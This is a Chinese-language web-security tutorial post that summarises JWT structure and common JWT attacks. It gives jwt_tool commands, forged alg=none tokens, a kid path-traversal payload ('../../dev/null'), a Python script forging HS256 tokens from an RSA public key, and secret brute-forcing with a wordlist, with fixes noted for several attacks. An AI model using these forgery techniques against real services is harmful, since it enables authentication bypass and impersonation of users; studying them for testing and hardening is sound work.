JWT攻击总结
2022-11-03 21:56:24 # Web安全

JWT基础知识

JWT简介

JWT是JSON Web Token的缩写,是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519)。JWT本身没有定义任何技术实现,它只是定义了一种基于Token的会话管理的规则,涵盖Token需要包含的标准内容和Token的生成过程,特别适用于分布式站点的单点登录(SSO) 场景。

JWT结构

JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串。

image-20221103223943962

计算的公式:JWTString=Base64(Header).Base64(Payload).HMACSHA256(base64UrlEncode(header)+”.”+base64UrlEncode(payload),secret)

JWT头是一个描述JWT元数据的JSON对象,alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。最后,使用Base64 URL算法将上述JSON对象转换为字符串保存。

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}
Payload

有效载荷部分,是JWT的主体内容部分,也是一个JSON对象,包含需要传递的数据。 JWT指定七个默认字段供选择:

1
2
3
4
5
6
7
iss (issuer) : 签发人
exp (expiration time) : 过期时间
sub (subject) : 主题
aud (audience) : 受众
nbf (Not Before) : 生效时间
iat (Issued At) : 签发时间
jti (JWT ID) : 编号

除以上默认字段外,我们还可以自定义私有字段,一般会把包含用户信息的数据放到payload中,如下例:

1
2
3
4
5
{
"sub": "1234567890",
"name": "Helen",
"admin": true
}

请注意,默认情况下JWT是未加密的,因为是采用base64算法,拿到JWT字符串后可以转换回原本的JSON数据,任何人都可以解读其内容,因此不要构建隐私信息字段,比如用户的密码一定不能保存到JWT中,以防止信息泄露。JWT只是适合在网络中传输一些非敏感的信息

Signature

签名哈希部分是对上面两部分数据签名,需要使用base64编码后的header和payload数据,通过指定的算法生成哈希,以确保数据不会被篡改。首先,需要指定一个密钥(secret)。该密码仅仅为保存在服务器中,并且不能向用户公开。然后,使用header中指定的签名算法(默认情况下为HMAC SHA256)生成签名,如下所示

image-20221103225241227

在服务端接收到客户端发送过来的JWT token之后:

  • headerpayload可以直接利用base64解码出原文,从header中获取哈希签名的算法,从payload中获取有效数据
  • signature由于使用了不可逆的加密算法,无法解码出原文,它的作用是校验token有没有被篡改。服务端获取header中的加密算法之后,利用该算法加上secretKey对header、payload进行加密,比对加密后的数据和客户端发送过来的是否一致。注意secretKey只能保存在服务端,而且对于不同的加密算法其含义有所不同,一般对于MD5类型的摘要加密算法,secretKey实际上代表的是盐值

JWT种类

JWT的具体实现可以分为以下几种:

  • nonsecure JWT:未经过签名,不安全的JWT
  • JWS:经过签名的JWT
  • JWEpayload部分经过加密的JWT
nonsecure JWT

未经过签名,不安全的JWT。其header部分没有指定签名算法

1
2
3
4
{
"alg": "none",
"typ": "JWT"
}

并且也没有Signature部分

JWS

JWS ,也就是JWT Signature,其结构就是在之前nonsecure JWT的基础上,在头部声明签名算法,并在最后添加上签名。创建签名,是保证jwt不能被他人随意篡改。我们通常使用的JWT一般都是JWS

为了完成签名,除了用到header信息和payload信息外,还需要算法的密钥,也就是secretKey。加密的算法一般有2类:

  • 对称加密:secretKey指加密密钥,可以生成签名与验签
  • 非对称加密:secretKey指私钥,只用来生成签名,不能用来验签(验签用的是公钥)

到目前为止,jwt的签名算法有三种:

  • HMAC【哈希消息验证码(对称)】:HS256/HS384/HS512
  • RSASSA【RSA签名算法(非对称)】(RS256/RS384/RS512)
  • ECDSA【椭圆曲线数据签名算法(非对称)】(ES256/ES384/ES512)

JWT常见安全问题

签名算法可被修改为none(CVE-2015-9235)

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。

方式一:原有payload的数据不被改变基础上而进行未校验签名算法

如下为测试的JWT

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg

https://jwt.io/ 进行解析

image-20221103230311651

使用jwt_tool进行攻击(该工具可以在不改变原有payload数据的基础上而生成没有签名算法的token)

1
python3 .\jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg  -X a

image-20221103231009715

可以看到生成了四个token(其实就是none大小写),我们将第一个token解析查看下

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.

image-20221103231137791

也可以使用python脚本生成

1
2
3
>>> import jwt
>>> encoded = jwt.encode({"name": "admin"}, '', algorithm='none')
>>> encoded

方式二:原有payload的数据被改变基础上而进行没校验签名算法

使用python3的pyjwt模块,修改payload中的数据,利用签名算法none漏洞,重新生成令牌

1
2
>>> import jwt
>>> encoded = jwt.encode({"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admin" }}, '', algorithm='none')

image-20221103233925850

得到的token为

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.

修复方法:JWT 配置应该只指定所需的签名算法

未校验签名

服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

比如测试的JWT为

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg

通过在线工具jwt.io修改payload数据

image-20221103235851453

或者删除signature,再次请求token认证:

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ==.

JWKS公钥注入 ——伪造密钥(CVE-2018-0114)

创建一个新的 RSA 证书对,注入一个 JWKS 文件,攻击者可以使用新的私钥对令牌进行签名,将公钥包含在令牌中,然后让服务使用该密钥来验证令牌

攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。

使用jwt_tool的-I标志生成一个新的密钥对,注入包含公共密钥的JWKS,并使用私有密钥对令牌进行签名

1
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw      -X i

image-20221109113813827

image-20221109114017359

修复方案:JWT 配置应明确定义接受哪些公钥进行验证

空签名(CVE-2020-28042)

从令牌末尾删除签名,使用jwt_tool进行攻击

1
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw         -X n

image-20221109114445808

敏感信息泄露

JWT的header头base64解码可泄露敏感数据如密钥文件或者密码或者注入漏洞

image-20221109114737232

从解码出的header中可以得到其认证类型为JWT,加密算法为RS256,kid指定加密算法的密钥,密钥KID的路径为:keys/3c3c2ea1c3f113f649dc9389dd71b851k,则在 Web 根目录中查找 /key/3c3c2ea1c3f113f649dc9389dd71b851k 和 /key/3c3c2ea1c3f113f649dc9389dd71b851k.pem

KID参数漏洞

密钥 ID (kid) 是一个可选header,是字符串类型,用于表示文件系统或数据库中存在的特定密钥,然后使用其内容来验证签名。

任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

image-20221109115443544

在 linux系统中/dev/null被称为空设备文件,并且总是不返回任何内容,可绕过进行任意文件读取

1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256  -pc login -pv "ticarpi" 

参数说明:

-I 对当前声明进行注入或更新内容,-hc kid 设置现有 header 中 kid,-hv 设置其值为 “../../dev/null”,-pc 设置 payload 的申明变量名如:login,-pv 设置 申明变量login的值为 “ticarpi”

或者可以使用 Web 根目录中存在的任何文件,例如 CSS 或 JS,并使用其内容来验证签名。

1
python3 jwt_tool.py -I -hc Kid -hv "路径/of/the/file" -S hs256 -p "文件内容"
SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

image-20221109115647569命令注入

对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

image-20221109115722677

泄露公钥-将加密算法 RS256(非对称)更改为 HS256(对称)(CVE-2016-5431/CVE-2016-10555)

JWT最常用的两种算法是HMAC(非对称加密算法)和RSA(非对称加密算法)。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证

将算法RS256修改为HS256(非对称密码算法=>对称密码算法)

方式一:在原payload不被修改的基础上,并将算法RS256修改为HS256

1
python3 jwt_tool.py       eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.BOiukQghoC-t2nmM5w9SUZURv9sw0FNtmfbzirKi6EEvcqhcjTaeQF6-crCAjLxNoR84A_P8MY5mGL5ZrgDGTbfsXLbMawewaavG090FkvhCkWuPla95LJZsM0H2fFa9PpHruYmWUo9uBVRILpBXLtQDnznTPdbjwXleX3Yr0M4qEKDTPxQzO62O3vSizBm8hzgEnNkiLWPOqfTLXMBf4W0q_4V0A7tK0PoEuoVnsiB1AmHeml4ez2Ksr4m9AqAW52PgrCa9uBEICU3TlNRcXvmiTbmU_xU4W5Bu010SfpxHo3Bc8yEZvLOKC5xZ2zqUX3HJhA_4Bzxu0nmev13Yag -X k -pk public.pem

方式二:在原payload被修改的基础上,并将算法RS256修改为HS256

通过以下脚本修改数据并重新生成token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# coding=utf-8
import hmac
import hashlib
import base64

file = open('publickey.pem') #需要将文中的publickey下载 与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admins" }}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)

签名密钥可被爆破

HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。

1
python3 jwt_tool.py        eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE  -C -d  /usr/share/wordlists/fasttrack.txt 

获得的密钥key通过在线jwt.io在线修改数据,重新生成token

泄露token的私钥文件

通过泄露的私钥文件脚本加密得到token:

1
2
3
4
5
6
7
import jwt

private_key = open('private.key', 'r').read()

payload={"user":"admin","iat": 1662886231}

print(jwt.encode(payload=payload, key=private_key, algorithm='RS256'))

参考

https://www.cnblogs.com/backlion/p/16699442.html

https://blog.csdn.net/qq_47664976/article/details/122720118